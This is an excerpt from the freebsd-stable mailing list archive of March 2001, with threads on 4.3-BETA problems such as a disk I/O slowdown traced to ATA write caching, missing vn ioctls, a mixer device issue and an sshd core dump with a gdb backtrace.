luigi) From: Luigi Rizzo Message-Id: <200103122030.VAA94263@info.iet.unipi.it> Subject: Re: 4.3-BETA available for FTP In-Reply-To: <20010312122701I.jkh@osd.bsdi.com> from Jordan Hubbard at "Mar 12, 2001 12:27:01 pm" To: Jordan Hubbard Date: Mon, 12 Mar 2001 21:30:16 +0100 (CET) Cc: freebsd@gndrsh.dnsmgr.net, stable@FreeBSD.org, developers@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Subject: Re: 4.3-BETA available for FTP > Date: Thu, 8 Mar 2001 11:09:16 -0800 (PST) > > > It already appears as if dummynet has been broken in 4.3 and is > > causing panics. At least 3 reports I have seen so far of people > > who have had to disable DUMMYNET. > > It appears that this has already been fixed. certainly Rod deserves our thanks for pointing out the problem (and Ian for fixing it!) cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 12:31:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ptavv.es.net (ptavv.es.net [198.128.4.29]) by hub.freebsd.org (Postfix) with ESMTP id AC39D37B718; Mon, 12 Mar 2001 12:31:29 -0800 (PST) (envelope-from oberman@ptavv.es.net) Received: from ptavv.es.net (localhost [127.0.0.1]) by ptavv.es.net (8.10.1/8.10.1) with ESMTP id f2CKVRs19327; Mon, 12 Mar 2001 12:31:27 -0800 (PST) Message-Id: <200103122031.f2CKVRs19327@ptavv.es.net> To: mobile@freebsd.org Cc: stable@freebsd.org Subject: Disk I/O problem in 4.3-BETA Date: Mon, 12 Mar 2001 12:31:27 -0800 From: "Kevin Oberman" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm not too sure if this belongs in mobile or stable. I reported the problem last week, but have seen no comments. Either it's something unique to my system (or my hardware) or people have not been doing large disk copy operations. My disk I/O performance has tanked after a cvsup on March 1. Subsequent updates have not made a difference. Specifics: System ran normally until the March 1 cvsup. The prior cvsup was February 24. Prior to March 1 I could dd a 4 GB slice in 580 seconds (or a bit under 10 minutes). After March 1 the same exact command took just under 40 minutes to complete. The same was seen copying a 2 GB slice. It increased from 5 minutes to 20 minutes. No kernel configuration changes were made. The system is an IBM ThinkPad 600E with 192 MB RAM and 12 GB and 6 GB disks. Both disks are UDMA33. All operations were performed after a stand-alone boot with only root mounted and that mounted RO. FreeBSD is on the 2 GB slice with W98 on the 4 GB one. The commands used: dd bs=32k if=/dev/ad0s1 of=/dev/ad2s1 dd bs=32k if=/dev/ad0s2 of=/dev/ad2s2 The FWIW, I subjectively feel that the time to buildworld has also increased, but I really don't recall how long it was taking in the past, so I really don't have a basis for comparison. Is anybody else aware of anything that might be causing this? IS anyone else seeing it at all? R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 12:36:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 3674E37B719; Mon, 12 Mar 2001 12:36:32 -0800 (PST) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id VAA99695; Mon, 12 Mar 2001 21:36:27 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200103122036.VAA99695@freebsd.dk> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <200103122031.f2CKVRs19327@ptavv.es.net> from Kevin Oberman at "Mar 12, 2001 12:31:27 pm" To: oberman@es.net (Kevin Oberman) Date: Mon, 12 Mar 2001 21:36:27 +0100 (CET) Cc: mobile@FreeBSD.ORG, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Kevin Oberman wrote: > I'm not too sure if this belongs in mobile or stable. I reported the > problem last week, but have seen no comments. Either it's something > unique to my system (or my hardware) or people have not been doing > large disk copy operations. > > My disk I/O performance has tanked after a cvsup on March 1. > Subsequent updates have not made a difference. Some of this might be due to write caching being turned off as default now, this was done due to "popular demand" because write caching can hose your filesystem on a power outage. > Specifics: System ran normally until the March 1 cvsup. The prior > cvsup was February 24. > > Prior to March 1 I could dd a 4 GB slice in 580 seconds (or a bit > under 10 minutes). After March 1 the same exact command took just > under 40 minutes to complete. The same was seen copying a 2 GB > slice. It increased from 5 minutes to 20 minutes. No kernel > configuration changes were made. This is worse than expected, try to use option ATA_ENABLE_WC and see what gives, if its not back to normal we have to look elsewhere. -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 13: 0:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 89FA037B71A; Mon, 12 Mar 2001 13:00:23 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2CKx5Z20448; Mon, 12 Mar 2001 12:59:05 -0800 (PST) Date: Mon, 12 Mar 2001 12:59:05 -0800 From: Alfred Perlstein To: Soren Schmidt Cc: Kevin Oberman , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312125905.X18351@fw.wintelcom.net> References: <200103122031.f2CKVRs19327@ptavv.es.net> <200103122036.VAA99695@freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103122036.VAA99695@freebsd.dk>; from sos@freebsd.dk on Mon, Mar 12, 2001 at 09:36:27PM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Soren Schmidt [010312 12:37] wrote: > It seems Kevin Oberman wrote: > > I'm not too sure if this belongs in mobile or stable. I reported the > > problem last week, but have seen no comments. Either it's something > > unique to my system (or my hardware) or people have not been doing > > large disk copy operations. > > > > My disk I/O performance has tanked after a cvsup on March 1. > > Subsequent updates have not made a difference. > > Some of this might be due to write caching being turned off as > default now, this was done due to "popular demand" because > write caching can hose your filesystem on a power outage. > > > Specifics: System ran normally until the March 1 cvsup. The prior > > cvsup was February 24. > > > > Prior to March 1 I could dd a 4 GB slice in 580 seconds (or a bit > > under 10 minutes). After March 1 the same exact command took just > > under 40 minutes to complete. The same was seen copying a 2 GB > > slice. It increased from 5 minutes to 20 minutes. No kernel > > configuration changes were made. > > This is worse than expected, try to use option ATA_ENABLE_WC > and see what gives, if its not back to normal we have to look elsewhere. Mr ATA, is there no ATA command to "syncronize cache" like in SCSI? -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 13: 8: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from axis.tdd.lt (axis.tdd.lt [193.219.211.5]) by hub.freebsd.org (Postfix) with ESMTP id CEC3137B719 for ; Mon, 12 Mar 2001 13:07:56 -0800 (PST) (envelope-from domas.mituzas@delfi.lt) Received: from localhost (midom@localhost) by axis.tdd.lt (8.11.1/8.11.1) with ESMTP id f2CL7pq02290 for ; Mon, 12 Mar 2001 23:07:51 +0200 (EET) Date: Mon, 12 Mar 2001 23:07:51 +0200 (EET) From: Domas Mituzas X-Sender: midom@axis.tdd.lt To: stable@freebsd.org Subject: GDINFO / GDVIRGIN ioctl's for vn missing? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, neither disklabel nor newfs don't like present vn code, cause theese ioctl's are missing: DIOCGDVIRGIN DIOCGDINFO Therefore, it's impossible to create new VN fs images of sizes, not specified in disktab. This breaks core PicoBSD functionality and some other things. (BTW, that was my own fault about vn instability, just my games to workaround this problem caused some troubles). Regards, Domas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 13:20:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id F0F1837B718; Mon, 12 Mar 2001 13:20:38 -0800 (PST) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id WAA10675; Mon, 12 Mar 2001 22:20:32 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200103122120.WAA10675@freebsd.dk> Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <20010312125905.X18351@fw.wintelcom.net> from Alfred Perlstein at "Mar 12, 2001 12:59:05 pm" To: bright@wintelcom.net (Alfred Perlstein) Date: Mon, 12 Mar 2001 22:20:32 +0100 (CET) Cc: oberman@es.net (Kevin Oberman), mobile@FreeBSD.ORG, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Alfred Perlstein wrote: > > > Prior to March 1 I could dd a 4 GB slice in 580 seconds (or a bit > > > under 10 minutes). After March 1 the same exact command took just > > > under 40 minutes to complete. The same was seen copying a 2 GB > > > slice. It increased from 5 minutes to 20 minutes. No kernel > > > configuration changes were made. > > > > This is worse than expected, try to use option ATA_ENABLE_WC > > and see what gives, if its not back to normal we have to look elsewhere. > > Mr ATA, is there no ATA command to "syncronize cache" like in SCSI? Yes, there is, and the ATA driver even uses it, the problem is WHEN to use it. I originally made it flush the cache if a write contained the BIO_ORDERED bit, but that doesn't work with softupdates.. If somebody can come up with a way to tell me when I need to flush the write cache, then I'll happily add that.. -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 13:46:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ptavv.es.net (ptavv.es.net [198.128.4.29]) by hub.freebsd.org (Postfix) with ESMTP id 6A6CC37B719; Mon, 12 Mar 2001 13:46:25 -0800 (PST) (envelope-from oberman@ptavv.es.net) Received: from ptavv.es.net (localhost [127.0.0.1]) by ptavv.es.net (8.10.1/8.10.1) with ESMTP id f2CLkLs08952; Mon, 12 Mar 2001 13:46:21 -0800 (PST) Message-Id: <200103122146.f2CLkLs08952@ptavv.es.net> To: Soren Schmidt Cc: mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Your message of "Mon, 12 Mar 2001 21:36:27 +0100." <200103122036.VAA99695@freebsd.dk> Date: Mon, 12 Mar 2001 13:46:21 -0800 From: "Kevin Oberman" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Soren, Thanks for the quick reply! And right on the button, too. I have turned the write cache back on (any relevance to "write cache" being abbreviated to "WC"? :-) and the time to dd the slices went back to 10 and 5 minutes (actually 489 and 287 seconds). How serious is the possible corruption issue, anyway. The loss in performance is pretty drastic although it may be that dd is an especially bad case, but I really don't like to corrupt my disks, either. Is there hope for a sysctl interface to ATA that would make it possible to switch this sort of thing without rebuilding the kernel? R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 13:54:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ohm.physics.purdue.edu (ohm.physics.purdue.edu [128.210.146.32]) by hub.freebsd.org (Postfix) with ESMTP id 45B4637B71A; Mon, 12 Mar 2001 13:54:21 -0800 (PST) (envelope-from will@physics.purdue.edu) Received: (from will@localhost) by ohm.physics.purdue.edu (8.11.2/8.9.3) id f2CLsHk65621; Mon, 12 Mar 2001 16:54:17 -0500 (EST) (envelope-from will@physics.purdue.edu) X-Authentication-Warning: ohm.physics.purdue.edu: will set sender to will@physics.purdue.edu using -f Date: Mon, 12 Mar 2001 16:54:17 -0500 From: Will Andrews To: Kevin Oberman Cc: Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312165417.S61859@ohm.physics.purdue.edu> Reply-To: Will Andrews Mail-Followup-To: Will Andrews , Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ivHc2SZskddb40s2" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103122146.f2CLkLs08952@ptavv.es.net>; from oberman@es.net on Mon, Mar 12, 2001 at 01:46:21PM -0800 X-Operating-System: FreeBSD 4.2-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ivHc2SZskddb40s2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 12, 2001 at 01:46:21PM -0800, Kevin Oberman wrote: > How serious is the possible corruption issue, anyway. The loss in > performance is pretty drastic although it may be that dd is an > especially bad case, but I really don't like to corrupt my disks, > either. If you have any serious or important data on your drives, you'd be crazy not to invest in a backup system anyways. --=20 wca --ivHc2SZskddb40s2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rUWJF47idPgWcsURAvDLAJ0XiwzNdDXG85wk8vs5U/CrvKiwCwCfYwp5 RWpN0Du092amWhgB8BoOfFQ= =O4Wb -----END PGP SIGNATURE----- --ivHc2SZskddb40s2-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 13:57:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id 3E4B637B728; Mon, 12 Mar 2001 13:57:11 -0800 (PST) (envelope-from randy@psg.com) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14caJL-000I7H-00; Mon, 12 Mar 2001 13:57:03 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Will Andrews Cc: Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> <20010312165417.S61859@ohm.physics.purdue.edu> Message-Id: Date: Mon, 12 Mar 2001 13:57:03 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > If you have any serious or important data on your drives, you'd be crazy > not to invest in a backup system anyways. a fool and his data are soon parted -- monty williams To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 14: 7:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 3966637B719; Mon, 12 Mar 2001 14:07:54 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2CM6at22778; Mon, 12 Mar 2001 14:06:36 -0800 (PST) Date: Mon, 12 Mar 2001 14:06:36 -0800 From: Alfred Perlstein To: Kevin Oberman Cc: Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312140636.A18351@fw.wintelcom.net> References: <200103122036.VAA99695@freebsd.dk> <200103122146.f2CLkLs08952@ptavv.es.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103122146.f2CLkLs08952@ptavv.es.net>; from oberman@es.net on Mon, Mar 12, 2001 at 01:46:21PM -0800 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Kevin Oberman [010312 13:46] wrote: > Soren, > > Thanks for the quick reply! And right on the button, too. > > I have turned the write cache back on (any relevance to "write cache" > being abbreviated to "WC"? :-) and the time to dd the slices went back > to 10 and 5 minutes (actually 489 and 287 seconds). > > How serious is the possible corruption issue, anyway. The loss in > performance is pretty drastic although it may be that dd is an > especially bad case, but I really don't like to corrupt my disks, > either. If basically running with blind write caching turned on is akin to running your filesystem in async mode. This is because write caching gives the drive license to lie about completing a write, the various ordering of writes are effectively bypassed. If you crash without these dependancies actually written to the disk, when you come back up you have a good chance of losing large portions of your filesystem. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 14:34:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lorne.arm.org (64-40-71-66.mebtel.net [64.40.71.66]) by hub.freebsd.org (Postfix) with ESMTP id 5011637B724 for ; Mon, 12 Mar 2001 14:34:26 -0800 (PST) (envelope-from dlt@mebtel.net) Received: (from dlt@localhost) by lorne.arm.org (8.11.3/8.11.1) id f2CMPEp02836; Mon, 12 Mar 2001 17:25:14 -0500 (EST) (envelope-from dlt@mebtel.net) X-Authentication-Warning: lorne.arm.org: dlt set sender to dlt@mebtel.net using -f To: thomas@hentschel.net Cc: FreeBSD-stable@FreeBSD.org Subject: Re: Mixer not working anymore References: <200103120648.f2C6m9M19020@falcon.home.hentschel.net> From: Derek Tattersall Date: 12 Mar 2001 17:25:13 -0500 In-Reply-To: <200103120648.f2C6m9M19020@falcon.home.hentschel.net> Message-ID: <86lmqar5fa.fsf@lorne.arm.org> Lines: 38 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG thomas@hentschel.net writes: > On 11 Mar, Kris Kennaway wrote: > > On Sun, Mar 11, 2001 at 01:10:03PM -0800, thomas@hentschel.net wrote: > >> On 11 Mar, Kris Kennaway wrote: > >> > On Sun, Mar 11, 2001 at 12:16:05PM +0100, Gunnar Flygt wrote: > >> >> I cvsup'ed tonight, rebult world and now my mixer device isn't working. > >> >> Anyone else having similar problems? > >> > > >> > >> you give too little info to see if it's applicable here, but I had a > >> similar problem a few weeks ago on -stable. Actually removing the > >> device entries in /dev and rebuilding them with MAKEDEV helped it. > > > > Note that if you run mergemaster and it updates the MAKEDEV script it > > even reminds you to rerun it. > > > > Kris > > well, the problem wasn't re-running MAKEDEV (which I did, of course, > and this had me puzzled for a few minutes). One had to remove (as in rm) > the dev entries and then run MAKEDEV, which wasn't spelled out anywhere > in the process. There's a subtle difference.... > > -Th > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > I wasn't aware that one had to delete all the devices before one reruns MAKEDEV. What happens if you don't do the deletion first? I have been religously following the directions from mergemaster and everything works fine, no problems noted. But then the system is pretty simple, no corner cases to worry about. -- Derek Tattersall dlt@mebtel.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 14:41:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from leviathan.inethouston.net (216-118-21-146.pdq.net [216.118.21.146]) by hub.freebsd.org (Postfix) with ESMTP id 61FAC37B719 for ; Mon, 12 Mar 2001 14:41:45 -0800 (PST) (envelope-from mike@inethouston.net) Received: from blah (24-240-235-143.hsacorp.net [24.240.235.143]) by leviathan.inethouston.net (Postfix) with ESMTP id B717411131B for ; Mon, 12 Mar 2001 16:41:44 -0600 (CST) Message-ID: <001401c0ab45$6535ed60$0204a8c0@blah1> From: "Michael J. Turner" To: Subject: Freebsd not seeing partitions correctly Date: Mon, 12 Mar 2001 16:40:05 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0011_01C0AB13.176E3240" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C0AB13.176E3240 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hi, I have a 15gig drive with two partitions. one is 10GB the other is 5GB. = On the 10GB I have winME, I want to install freebsd on the 5GB. Well the problem is = that when I=20 try to install FreeBSD and I am in Fdisk it only see's 2GB. I have no = clue why it does. It does'nt see the other partitions, even MS DOS see's the other = partitons even if they are not FAT. Can anyone be of service? I would greatly appreciate it. This is what is showing up: Disk Geometry: 256cyls/255 heads/63 sectors =3D 4112640 sectors (2008MB) Offset Size(MB) End Name PType Desc Subtype = Flags 0 0 62 - 6 unused = 0 63 2014 4124735 ad0s1 2 FAT 12 I have no clue why it's giving me this when i have a 15gig with 2 = partitions, on 10GB and the other 5GB Thank you.=20 ------=_NextPart_000_0011_01C0AB13.176E3240 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hi,
 
I have a 15gig drive with two partitions. one is = 10GB the=20 other is 5GB. On the 10GB
I have winME, I want to install freebsd on the 5GB. = Well the=20 problem is that when I
try to install FreeBSD and I am in Fdisk it only = see's 2GB. I=20 have no clue why it does.
It does'nt see the other partitions, even MS DOS = see's the=20 other partitons even if they
are not FAT. Can anyone be of service? I = would=20 greatly appreciate it.
 
This is what is showing up:
Disk Geometry: 256cyls/255 heads/63 sectors =3D = 4112640 sectors=20 (2008MB)
 
Offset    Size(MB)   =20 End    Name    PType   =20 Desc       Subtype   =20 Flags
     0   =20     0        =    =20     62        = -   =20         6    =    =20 unused    0
    =20 63      2014     &= nbsp;  4124735  ad0s1   =20 2           =20 FAT    12
 
I have no clue why it's giving me this when i have a = 15gig=20 with 2 partitions, on 10GB and the
other 5GB
 
 
Thank = you. 
------=_NextPart_000_0011_01C0AB13.176E3240-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 14:46:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from pt-quorum.com (pt-quorum.com [209.10.167.210]) by hub.freebsd.org (Postfix) with ESMTP id 3346937B719 for ; Mon, 12 Mar 2001 14:46:27 -0800 (PST) (envelope-from nuno.teixeira@pt-quorum.com) Received: from p041-237.netc.pt ([213.30.47.41]) by pt-quorum.com (8.9.3/8.9.3) with ESMTP id WAA01254 for ; Mon, 12 Mar 2001 22:43:03 GMT Date: Mon, 12 Mar 2001 22:52:53 +0000 (GMT) From: Nuno Teixeira X-X-Sender: To: Subject: IDE bad sectors and secondary master instalation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello to all, I've got two questions that I can't solve and I don't find the right docs for them: 1. IDE disks bad sectors: Recently I installed an IDE disk with a lot bad sectors to experiment a real situation and I get a lot of errors with fsck and errors related to the read/write of the damaged sectors. The question is: what's the best way to solve the bad sectors problem on IDE disks? There is anyway of "mark" the bad serctor so the OS doesn't write to them? 2. Secondary master to primary master change I have a motherboard that have the primary master and slave broken but it worked with the disk installed on the secundary master interface. Recently I purchase a new motherboard and installed the disk on the primary master. My problem is that the FreeBSD stops on single user mode and it gives the error that it can't mount the rest of the partitions. I noticed that the slices are like "ad2s1f" and I think that it must be like "ad0s1f" to work on the primary master. There is anyway of changing this to work. I know that this is a newbie question, so I just want to know were I can find the documentation to learn better this problems. Thanks vey much, - -- Nuno Teixeira Dir. T=E9cnico pt-quorum.com -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Made with pgp4pine 1.75-6 iQA/AwUBOq1TTI8HcgpjoE/HEQK/3QCdEQ71NstzG9YJL6ydZwFE/L+9RsMAn0ZU OIDYx4fROL8wnw5bUXY46OJD =3DC1an -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 14:48:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ldc.ro (ldc-gw.pub.ro [192.129.3.227]) by hub.freebsd.org (Postfix) with SMTP id BDF6B37B71B for ; Mon, 12 Mar 2001 14:48:18 -0800 (PST) (envelope-from razor@ldc.ro) Received: (qmail 78324 invoked by uid 666); 12 Mar 2001 22:48:13 -0000 Date: Tue, 13 Mar 2001 00:48:13 +0200 From: Alex Popa To: freebsd-security@freebsd.org Cc: freebsd-stable@freebsd.org Subject: 4.3-BETA, sshd.core found in root directory. Message-ID: <20010313004813.A78221@ldc.ro> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am not really sure what this means (could mean a lot of things, including bad memory on my machine), but here are the facts: The system was cvsupped and compiled on March 10th. $ uname -a FreeBSD ns.ldc.ro 4.3-BETA FreeBSD 4.3-BETA #0: Sat Mar 10 15:16:38 EET 2001 root@ns.ldc.ro:/usr/src/sys/compile/NS i386 $ ls -l /sshd.core -rw------- 1 root wheel 507904 Mar 12 16:40 /sshd.core $ ls -l /usr/sbin/sshd -r-xr-xr-x 1 root wheel 196532 Mar 10 16:07 /usr/sbin/sshd # gdb /usr/sbin/sshd /sshd.core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... Core was generated by `sshd'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libopie.so.2...(no debugging symbols found)... done. Reading symbols from /usr/lib/libmd.so.2...(no debugging symbols found)...done. Reading symbols from /usr/lib/libcrypt.so.2...(no debugging symbols found)... done. Reading symbols from /usr/lib/libcrypto.so.2...(no debugging symbols found)... done. Reading symbols from /usr/lib/libutil.so.3...(no debugging symbols found)... done. Reading symbols from /usr/lib/libz.so.2...(no debugging symbols found)...done. Reading symbols from /usr/lib/libwrap.so.3...(no debugging symbols found)... done. Reading symbols from /usr/lib/libpam.so.1...(no debugging symbols found)... done. ---Type to continue, or q to quit--- Reading symbols from /usr/lib/libc.so.4...(no debugging symbols found)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... done. #0 0x281741c8 in login_getpwclass () from /usr/lib/libutil.so.3 (gdb) bt #0 0x281741c8 in login_getpwclass () from /usr/lib/libutil.so.3 #1 0x80532e8 in getsockname () #2 0x805a9ef in getsockname () #3 0x8052fd0 in getsockname () #4 0x804d81d in getsockname () #5 0x804be95 in getsockname () (gdb) $ ident /usr/sbin/sshd /usr/sbin/sshd: $OpenBSD: sshd.c,v 1.132 2000/10/13 18:34:46 markus Exp $ $FreeBSD: src/crypto/openssh/sshd.c,v 1.6.2.7 2001/03/04 15:13:08 markm Exp $ $OpenBSD: auth-rhosts.c,v 1.16 2000/10/03 18:03:03 markus Exp $ $OpenBSD: auth-passwd.c,v 1.18 2000/10/03 18:03:03 markus Exp $ $FreeBSD: src/crypto/openssh/auth-passwd.c,v 1.2.2.4 2001/03/04 15:13:08 markm Exp $ $OpenBSD: auth-rsa.c,v 1.32 2000/10/14 12:19:45 markus Exp $ $FreeBSD: src/crypto/openssh/auth-rsa.c,v 1.2.2.3 2001/01/12 04:25:55 green Exp $ $OpenBSD: auth-rh-rsa.c,v 1.17 2000/10/03 18:03:03 markus Exp $ $FreeBSD: src/crypto/openssh/auth-rh-rsa.c,v 1.1.1.1.2.3 2001/01/12 04:25:55 green Exp $ $OpenBSD: pty.c,v 1.16 2000/09/07 21:13:37 markus Exp $ $FreeBSD: src/crypto/openssh/pty.c,v 1.2.2.2 2000/10/28 23:00:49 kris Exp $ 